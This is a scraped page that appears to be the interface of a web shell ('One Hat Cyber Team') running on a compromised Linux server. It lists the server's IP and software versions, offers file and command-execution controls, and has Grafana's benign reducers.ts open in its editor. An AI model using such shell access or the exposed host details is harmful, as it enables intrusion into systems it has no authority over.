⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.4
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
grafana
/
public
/
app
/
features
/
org
/
state
/
Edit File: reducers.ts
import { createSlice, PayloadAction } from '@reduxjs/toolkit'; import { Organization, OrganizationState, UserOrg } from 'app/types'; export const initialState: OrganizationState = { organization: {} as Organization, userOrgs: [], }; const organizationSlice = createSlice({ name: 'organization', initialState, reducers: { organizationLoaded: (state, action: PayloadAction<Organization>): OrganizationState => { return { ...state, organization: action.payload }; }, setOrganizationName: (state, action: PayloadAction<string>): OrganizationState => { return { ...state, organization: { ...state.organization, name: action.payload } }; }, userOrganizationsLoaded: (state, action: PayloadAction<UserOrg[]>): OrganizationState => { return { ...state, userOrgs: action.payload }; }, }, }); export const { setOrganizationName, organizationLoaded, userOrganizationsLoaded } = organizationSlice.actions; export const organizationReducer = organizationSlice.reducer; export default { organization: organizationReducer, };
Simpan